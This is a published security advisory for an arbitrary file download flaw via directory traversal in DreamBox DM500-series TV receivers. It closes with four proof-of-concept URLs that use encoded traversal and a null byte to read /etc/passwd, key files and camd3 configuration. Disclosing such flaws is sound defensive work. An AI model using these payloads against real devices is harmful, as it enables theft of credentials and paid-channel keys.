DreamBox DM500(+) - Arbitrary File Download Vulnerability

                                                 DreamBox DM500(+) Arbitrary File Download Vulnerability


 Vendor: Dream Multimedia GmbH
 Product web page: http://www.dream-multimedia-tv.de
 Affected version: DM500, DM500+, DM500HD and DM500S

 Summary: The Dreambox is a series of Linux-powered
 DVB satellite, terrestrial and cable digital television
 receivers (set-top box).

 Desc: Dreambox suffers from a file download vulnerability
 thru directory traversal with appending the '/' character
 in the HTTP GET method of the affected host address. The
 attacker can get to sensitive information like paid channel
 keys, usernames, passwords, config and plug-ins info, etc.

 Tested on: Linux Kernel 2.6.9, The Gemini Project, Enigma


 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com
 Zero Science Lab - http://www.zeroscience.mk


 Advisory ID: ZSL-2011-5013
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5013.php


 22.12.2010


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 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd%00
 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../Autoupdate.key%00
 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../camd3.config%00
 http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../var/keys/camd3.keys%00